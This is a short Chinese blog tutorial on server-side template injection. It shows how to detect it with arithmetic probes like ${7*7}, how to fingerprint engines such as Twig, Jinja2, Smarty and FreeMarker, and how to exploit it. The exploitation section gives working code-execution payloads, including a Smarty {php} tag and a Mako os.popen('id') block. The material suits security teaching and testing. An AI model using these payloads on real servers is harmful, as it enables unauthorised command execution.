Loading

服务端模板注入

一、判断漏洞是否存在

1、文本类

smarty=Hello {user.name}
Hello user1
freemarker=Hello ${username}
Hello newuser
any=<b>Hello</b>
<b>Hello<b>

smarty=Hello ${7*7}
Hello 49
freemarker=Hello ${7*7}
Hello 49

2、代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>

二、判断不同的模板引擎

检测到模板注入后,我们需要判断具体的模板引擎。我们需要fuzz不同的字符,再通过返回的错误判断。当模板引擎屏蔽错误后,该类当法就失效了,并且暴力fuzz也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在Jinja2 中则是7777777。

三、漏洞利用

1、读文档

查看模板利用语法

2、探环境

当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。
如果没有这样的对象或函数,我们需要暴力枚举变量名。我已在 FuzzDB 和 Burp Intruder 中公布了 fuzz 字典。
有些时候,开发者也会在模板中包含了一些敏感信息。

3、exp

有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}
这时,我们只需递交:

<%
import os
x=os.popen('id').read()
%>
${x}

但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。

四、模板注入案例

https://zhuanlan.zhihu.com/p/28823933

posted @ 2021-11-28 18:14  Ctrl_C+Ctrl_V  阅读(246)  评论(0)    收藏  举报